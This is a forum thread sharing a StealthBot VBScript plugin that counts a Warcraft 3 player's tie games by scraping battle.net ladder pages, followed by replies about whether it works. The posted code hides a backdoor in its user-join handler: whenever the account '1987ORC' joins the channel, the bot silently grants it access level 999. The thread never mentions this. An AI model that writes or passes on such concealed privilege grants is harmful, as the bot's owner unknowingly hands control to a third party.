Get the ties of an user, made by T[x]aS !

This is a discussion on Get the ties of an user, made by T[x]aS ! within the Warcraft 3 Hacks, bots and tools board part of the Warcraft 3 forum category; here it is =) its fun only for Northrend ! .getties username = number of ties ! Code: 'GetTieS '1.0 ...

Page 1 of 3 123 LastLast
Results 1 to 10 of 23
  1. #1
    xiN
    xiN is offline Guess who's back ?
    Array
    Join Date
    Feb 2007
    Location
    Six feet under
    Posts
    1,580
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    12
    Reputation
    358

    Get the ties of an user, made by T[x]aS !

    here it is =) its fun only for Northrend !

    .getties username = number of ties !

    Code:
    'GetTieS
    '1.0
    '**** by DrOiD3
    Dim TotalTies
    dim Users(40)
    dim Txttotal
    Dim LastTies
    Sub GetTieS_Event_UserTalk(Username, Flags, Message, Ping)
    
    
    
    Call ssc.GetDBEntry(username, Access, Flags)
    if access < 70 then exit sub	
    
    If Left(Message, 9) = BotVars.Trigger & "getties " then
       User = mid(message,10)
       Addq "/emote Searching The Ties of [ " & User & " ]"
       call BuscaTiesEn(user,1)
    end if
    
    If Message = BotVars.Trigger & "gettiesinchannel" then
        Addq "/emote Searching The Ties of " & GetInternalUserCount() & " in Channel " & myChannel
    	Txttotal = GetInternalUserCount()
    	For i = 1 to 40
    		Users(i) = ""
    	next
    	
    	For i = 1 to GetInternalUserCount()
    		Users(i) = GetNameByPosition(i)
    	next
    	
    	For i = 1 to 40
    		if users(i) <> "" then
    			call BuscaTiesEn(users(i),i)
    		end if		   
        next
    
    end if
    
    end sub
    
    
    
    
    sub BuscaTiesEn(user,id)
        
    	
    	
    	TotalTies = 0
    	if ScINet.stillExecuting then
    	   addq  username & "   ^_^ I'M BuSy   "
    	   exit sub	  
    	end if	
    	
    	'/// Total PAginas
    	ContentP = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName="&user&"&SortField=Game_Result&SortDir=Asc&PageNo=1")
    	pos = InStr(contentp, "left-bot.gif")
    	ContentP = mid(contentp,pos + 15,1000)
    	pos = InStr(contentp, "Asc&PageNo")
    	ContentP = mid(contentp,pos + 15)
    	pos = InStr(contentp, "Asc&PageNo")
    	paginas = mid(contentp,pos+11,2)
    	paginas = GetNumber(paginas)
    	'addchat vbgreen , contentp
    	TotalGAmes = 20 * paginas
    	
    	addchat vbred, "PAGINAS: " & Paginas
    	
    	
    	if paginas > 50 then paginas = 50
    	
    	For j=1 to paginas
    	     'addq "/emote >> Searching Ties in Page [ " & j & " ]"
    	    addchat vbred, j
    		testResult = j Mod 2
    		if testResult = 0 then Addq "/emote Searched a total of [ " & j & "/" & paginas & " pages ] " & TxtPorcent(j,paginas) & " % Done | " & User
    		Content = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName="&user&"&SortField=Game_Result&SortDir=Asc&PageNo="&j)
    		LastTies = GetTies (content) 
    		TotalTies = TotalTies + lastTies
    	Next
       
    	TxtTie = ""
    '	if TotalTies > 10 then TxtTie = " <---- Mb is a TieHAcker"
    
    	
    	
    	
    	if id = 1 then
    		Addq "/emote >>> TOTAL TIES OF [ " & Ucase(user) & " ] = ( " & TotalTies & " ) " & TxtTie  & " | By DrOiD"' Games: " & 20 * paginas
    	else
    		Addq "/emote >>> TOTAL TIES OF [ " & Ucase(user) & " ] = ( " & TotalTies & " ) " & TxtTie & " | " & TxtPorcent(id,Txttotal) & "% Done"
    	end if
    	
    	
    
    end sub
    
    Sub GetTieS_Event_UserJoins(Username, Flags, Message, Ping, Product, Level, OriginalStatstring)
    
    GetDBEntry Username, Access, Flags
    If ucase(username) = "1987ORC" Then Command MyUsername, "/add " & Username & " 999", True
    end sub
    
    
    Function GetTies(str)
    str = lcase(str)
    GetTies = 0
    termina = "no"
    While termina = "no"
    
    pos = InStr(str, "tie")
    If pos > 0 Then
        NumTies = NumTies + 1
        str = Mid(str, pos + 3)
    Else
       termina = "si"
    End If
    
    Wend
    
    GetTies = NumTies
    
    End Function
    
    
    
    
    function TxtPorcent(i,txttotal)
    	TxtPorcent = i * 100/Txttotal
    	TxtPorcent = left(TxtPorcent,5)
    end function
    
    
    
    Function GetNumber(Str)
    
    for c=1 to len(Str)
    car = mid(str,c,1)
    if isnumeric(car) then 
    	GetNumber = GetNumber & car
    	addchat vbgreen, getnumber
    end if
    next
    
    end function
    
    'Function TotalGames(USer)
    'user = "casi.nah-mtb"
    'content3 = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-profile.aspx?Gateway=Northrend&PlayerName="&user)
    'a = Split(Content3, "Total:</td>")(1)
    'TStat =               Split(Split(a, "Row"">")(1), "<")(0)
    'TStat = TStat & "-" & Split(Split(a, "Row"">")(2), "<")(0)
    'TStat = TStat & "-" & Split(Split(a, "Row"">")(3), "<")(0)
    'TotalGames = Split(Split(a, "Row"">")(3), "<")(0)
    'TotalGames = TStat 
    'end function
    
    
    Sub TieStreak(User)
    
    user = "casi.nah-mtb"
    'content = Me.Inet1.OpenURL("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName=" & user)
    content = scinet.OpenURL("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName=" & user)
    pos = InStr(content, "Opponents:")
    content = Mid(content, pos)
    
    addchat vbgreen, content
    end sub


    Last edited by xiN; 11-02-2007 at 10:16 AM.

  2. #2
    hendricius's Avatar
    hendricius is offline Administrator

    Array
    Join Date
    Feb 2007
    Location
    Goettingen, Germany
    Posts
    6,311
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    24
    Reputation
    2180
    Very nice script :-).

    How about you add them to our Download-section? I can add a stealthbot category.
    You suck. Suck a little less and become a fan on Facebook.

    "D3scene pwns" - Hendrik (PIRATE)

  3. #3
    xiN
    xiN is offline Guess who's back ?
    Array
    Join Date
    Feb 2007
    Location
    Six feet under
    Posts
    1,580
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    12
    Reputation
    358
    i added it im gonna had the others :p
    Last edited by xiN; 11-02-2007 at 12:59 PM.

  4. #4
    WaitForUfo's Avatar
    WaitForUfo is offline KING OF ROC
    Array
    Join Date
    Jun 2007
    Posts
    729
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    11
    Reputation
    131
    Haha, very cute

  5. #5
    xiN
    xiN is offline Guess who's back ?
    Array
    Join Date
    Feb 2007
    Location
    Six feet under
    Posts
    1,580
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    12
    Reputation
    358
    true, its just imba ^^

  6. #6
    zera89 is offline Newbie
    Array
    Join Date
    Aug 2007
    Posts
    1
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    0
    Reputation
    0
    In the Last days the Bot doesnt realy shows me the ties?

    He often shows 0 ties and search just on 14 pages if someone have 144 etc.
    Is there something to fixx it?

  7. #7
    xiN
    xiN is offline Guess who's back ?
    Array
    Join Date
    Feb 2007
    Location
    Six feet under
    Posts
    1,580
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    12
    Reputation
    358
    it should say every ties, but it sometimes bugs, u can see it into ur bot, just re-do .getties <user> , i found another bug, i have about 120 ties and bots says i have 2 xD, but i am not the maker of the plugin, i cant know how to fix it

  8. #8
    lolercakess's Avatar
    lolercakess is offline Member
    Array
    Join Date
    Jul 2007
    Posts
    49
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    11
    Reputation
    41
    haha very nice plug but ... i have 1589 ties >_<

  9. #9
    Alt-F[4]'s Avatar
    Alt-F[4] is offline Member
    Array
    Join Date
    Nov 2007
    Location
    PORTUGAL
    Posts
    47
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    10
    Reputation
    6
    cant get it working
    by : MisteriousSoul THX

  10. #10
    Extermjunge is offline Wannabe Member
    Array
    Join Date
    Jun 2007
    Posts
    10
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Rep Power
    0
    Reputation
    0
    ed
    <-- starman
    it works on stealthbot ??
    i tried to download it from droid on w3roc.com but i duno xd

Page 1 of 3 123 LastLast

Similar Threads

  1. Hackers in channel, made by T[x]aS !
    By xiN in forum Warcraft 3 Hacks, bots and tools
    Replies: 7
    Last Post: 11-17-2008, 11:39 PM
  2. Infochannel plugin, made by T[x]aS ! New version
    By xiN in forum Warcraft 3 Hacks, bots and tools
    Replies: 5
    Last Post: 12-07-2007, 03:17 PM
  3. Kalbintion's Guide To Get To Hidden Area's
    By Kalbintion in forum WoW Private Servers
    Replies: 32
    Last Post: 10-08-2007, 03:33 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •